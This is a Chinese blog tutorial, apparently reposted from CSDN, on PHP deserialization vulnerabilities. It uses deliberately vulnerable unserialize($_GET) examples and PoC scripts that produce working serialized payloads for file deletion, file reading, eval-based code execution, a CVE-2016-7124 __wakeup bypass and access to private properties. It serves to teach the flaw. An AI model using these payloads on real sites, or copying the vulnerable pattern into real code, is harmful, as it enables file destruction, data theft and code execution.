基于php的反序列化漏洞简析

反序列化漏洞总体来说是一个比较新的漏洞,第一次被人们知晓是在2015年11月6日,FoxGlove Security安全团队的breenmachine 发表了一篇篇博客,里面详细阐述了利用java反序列化和Apache Commons Collections类库实现远程命令执行的真实案例。这从开始围绕着反序列化漏洞的事件就层出不穷。

 

什么是序列化?

序列化:通俗讲序列化就是把一个变量转换为可存储或可传输文本结构的过程;

反序列化:在合适的时候把序列化后的文本结构转化为原来的变量。

序列化与反序列的结合可以轻松地存储和传输数据,我们可以把对象序列化为不同的格式,json、XML,二进制、SOAP等,不同的格式是为了适应不同的业务需求。

当然,大多数时候php语言里面所使用的序列化操作数都是进行有益于工程执行效率的问题解决,只有在特殊情况下黑客会在代码审计中发现并利用这些漏洞,严重可上传webshell等恶意代码

在代码审计中,若是在目标代码中发现了存在反序列化漏洞,即可直接在当前页面基于GET上传payload

由于篇幅限制,这里就不展开说明序列化与反序列化在php中的利用实例了,感兴趣可以自行查找资料,以下会直接分析几个反序列化漏洞的基础模板

基于php的反序列化漏洞,有以下三点特征:

可控变量

可控参数

魔法函数

找齐这三点特征以后,基本上也就发现了一个反序列化漏洞了

PS:什么是魔法函数?

PHP魔法函数,在php程序中不需要声明就可以使用,某些条件触发不需要手动调用就可以执行。php内的魔法函数总结如下几个:

__construct()         //当一个对象创建时被调用
__destruct()       //当对象被销毁是触发
__wakeup()       //使用unserialize触发
__sleep()       //使用serialize触发
__toString()       //把类当做字符串使用时触发
__call()       //在对象上下文中调用不可访问的方法时触发
__callStatic       //在静态上下文中调用不可访问的方法时触发
__get()         //用于从不可访问的属性读取数据
__set()       //用于将数据写入不可访问的属性
__isset()       //在不可访问的属性上调用isset()或者empty()触发
__unset()       //在不可访问的属性上使用unset()是触发
__invoke()       //当脚本尝试将对象调用为函数时触发

通过魔法函数,执行我们先前反序列化上传的恶意代码

由于序列化不会传递方法,只能传递属性(数值),对象中的自定义函数我们没有办法直接利用,但是魔法函数是可以自动执行的,当类当中调用了魔法函数时,魔法函数又有自动触发执行的特点。也就是说当对象中含有魔法函数时,我们就会有机可乘,自动触发我们所需要执行的恶意代码(有点类似于曲线木马逻辑结构)。

 

实例一:

<?php
class dome
{
    	public $a='dome';
     	function  __destruct()
      {
      echo $this->a;
      echo '</br>';
     	}
}
$ob= new dome();
echo serialize($ob).'</br>';
$test= $_GET['id'];
unserialize($test);
?>                       

该程序创建类dome,其中有一个属性$a,一个方法,即为魔法函数__destruct():输出$a的值,当对象被销毁时触发。每个对象被创建执行之后都会被销毁,所以在下面所实例化的对选哪个$ob在执行结束之后才会触发该魔法函数。

所以我们在$_GET里传入的id数值会在中间输出,最后才会输出魔法函数的内容

首先根据源代码生成payload:

<?php

class dome{
	public $a = 'alexz NB !';
}
$x = new dome();
echo serialize($x);
?>

然后在url的post中输入id的值,即为序列化后的结果,得到如下

实例二:

//this is pg1.php
<?php
	class delete
{
	public $filename = 'error';
	function __destruct()
	{
		echo $this->filename." was deleted.</br>";
    //uplink函数是删除文件,dirname函数输出路径;
		unlink(dirname(__FILE__).'/'.$this->filename);
	}
}
?>

pg1.php中创建delete类作用为删除当前目录下文件名为$filename的文件,由于存在魔术函数__destruct(),故我们可以尝试寻找反序列化漏洞:

//this is pg2.php
<?php
  include 'pg1.php';
	class student
  {
   public $name='';
   public $age='';
   public function information()
   {
     echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
   }
  }
$zs=unserialize($_GET['id']);
?>

pg2.php中首先包含pg1.php,即可连接两个php文件一同执行,然后创建类student中创建方法输出学生信息类属性(这都无关紧要),重点在于最后使用了序列化的操作,将$_GET值id一同序列化,该文件同时又结合了pg1.php,即可运用pg1.php中的魔术函数结合,组成一个可随意删除当前目录下文件的反序列化漏洞

分析源码后,用poc.php文件生成payload:

//poc.php
<?php
//复制delete类的序列化内容
class delete{
	public $filename = 'error';
}
//实例化delete
$payload=new delete();
//赋值删除文件名
$payload->filename='sample.txt';
//生成序列化字符串
echo serialize($payload);
?>

O:6:"delete":1:{s:8:"filename";s:10:"sample.txt";}

然后$_GET加上负载:

(已删除的回显真不错)

实例三:

//this is pg1.php
<?php
  class read
	{
  	public $filename = 'error';
    function __toString()    //把类当字符串使用时会触发
    {  
      //file_get_contents()函数是把文件内容赋予一个变量
      return file_get_contents($this->filename);
    }
	}
?>

在pg1.php中,类class内包含魔术函数__toString() 把类当字符串使用时会触发,即为该类被序列化后使用了,变出了该函数,返回值是在把整个文件($filename)读入一个字符串中($zs)

//this is pg2.php
<?php
  include 'pg1.php';
	class student
  {
   public $name='';
   public $age='';
   public function information()
   {
     echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
   }
  }
$zs=unserialize($_GET['id']);
echo $zs;
?>

同上个实例一样,在此就不再多言

分析源代码从而构建payload:

<?php
class read
{
    public $filename = '';
}
$p = new read();
$p -> filename = 'sample.txt';
echo serialize($p);
?>

O:4:"read":1:{s:8:"filename";s:10:"sample.txt";}

sample.txt文件中写入的是hahahaha

实例四

<?php

class a{
    public $varr;
    function __destruct(){
        $this->varr->evaltest();
    }
}

class b{
    public $str;
    function evaltest(){
        eval($this->str);  //危险函数
    }
}
$obj= new a();
unserialize($_GET['id']);
?>

这里在同一文件下的两个类,就没有引用,这里的class a内部引用了class b的方法evaltest(),其中的eval可以将后所接的字符串变成函数来强制执行,我们可以在payload中写入phpinfo()函数来查看我们的反序列化漏洞是否执行,当然而我们也可以使用其他具有更大威胁的php语句来利用此漏洞

根据原函数创建payload:

<?php
class b{
    public $str = 'phpinfo();';
}
class a{
	public $varr;
	function __construct(){
		$this->varr=new b;
	}
}
$payload = new a();
echo serialize($payload);
?>

最终payload:O:1:"a":1:{s:4:"varr";O:1:"b":1:{s:3:"str";s:10:"phpinfo();";}}

实例五

php中存在一魔法函数__wakeup()  //使用unserialize触发

在unserialize()执行时会检测是否存在__wakeup()方法,如果存在会先调用__wakeup()方法作为预先准备对象需要的资源,经常用于执行一些初始化操作,或者重新建立数据库连接等场景。

CVE-2016-7124 漏洞 php5<5.6.25;php7<7.0.10中出现,该漏洞会在序列化字符串时,对象的属性个数的值大于真实的属性个数值时会跳过wakeup()方法执行。

<?php
    
  class wakeup_bug{
  public $a='wakeup';
  function __destruct(){
    echo "</br>";
    echo 'I am not '.$this->a;
  }
  function __wakeup(){
    echo 'I am '.$this->a;
  }
}
unserialize($_GET['id']);
?>

根据该漏洞的特性,我们首先选用在漏洞内的php版本,然后生成payload,直接在序列化代码中更改它的属性个数:

<?php

class wakeup_bug{
	public $a = 'wakeup';
}
$p = new wakeup_bug();
echo serialize($p);

?>

O:10:"wakeup_bug":1:{s:1:"a";s:6:"wakeup";}

无绕过情况下首先运行__wakeup()函数,在运行__destruct()

将负载修改:O:10:"wakeup_bug":2:{s:1:"a";s:6:"wakeup";}

即绕过了__wakeup()函数

实例六

常用类的属性有 public  private  protected  其中,public属性可以被外部而修改,然而private,protected属性无法被对象外部修改

<?php
	class student
  {
   public $name='xxx';
   private $age='yyy';
   protected $sex='zzz';
   function __toString() //把类当字符串使用时触发
   {
     return 'name: '.$this->name.'</br>age: '.$this->age.'</br>sex: '.$this->sex;
   }
  }
$s1 = new student();
echo $s1.'</br>';
echo serialize($s1);
$zs=unserialize($_GET['id']);
echo $zs;
?>

O:7:"student":3:{s:4:"name";s:3:"xxx";s:12:"studentage";s:3:"yyy";s:6:"*sex";s:3:"zzz";}

可以发现:private 属性序列化格式为 <0x00>对象名<0x00>属性名;public 属性没有变化;protected 属性序列化格式为<0x00>*<0x00>属性名。需要从外部改变属性值需要把<0x00>替换为%00 %00算作一个字符,即可绕过私有类属性

基于反序列化漏洞的真实环境:typecho博客系统的反序列化漏洞

直接上王sir的笔记吧,日后看的很透彻的时候再来自己白盒分析

文档:

http://119.23.30.155/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E1.pdf

typecho博客系统:

http://119.23.30.155/typecho-1.1-15.5.12-beta.zip

第一次接触代码审计,就好像用饮水机的水桶给我猛地灌下一大桶php,也是我自身原因,编程基础比较差,所以在跟着代码审计的时候基本上尽全力跟上,每一个继承源头的函数都要百度资料,每个继承之间的关系都尽可能跟上老师的步伐,因为在此之前真的没有接触过php这个语言......

总而言之,代码审计是一个磨炼人耐性的活儿,不仅需要不错的编程语言基础,而且还需要长时间保持较高的专注度和精神

就反序列化漏洞而言,通过phpstrom对项目菱角的搜索,逐渐把整个漏洞的整体从水面下拉出来,完善好poc,最后找准注入点输入payload。

认识到了自己的弱项,日后需要对编程方面大大强化一下了

(本来搞网络的目的就是放弃编程.......)

发布了25 篇原创文章 · 获赞 27 · 访问量 4135

猜你喜欢

转载自blog.csdn.net/Alexz__/article/details/102640861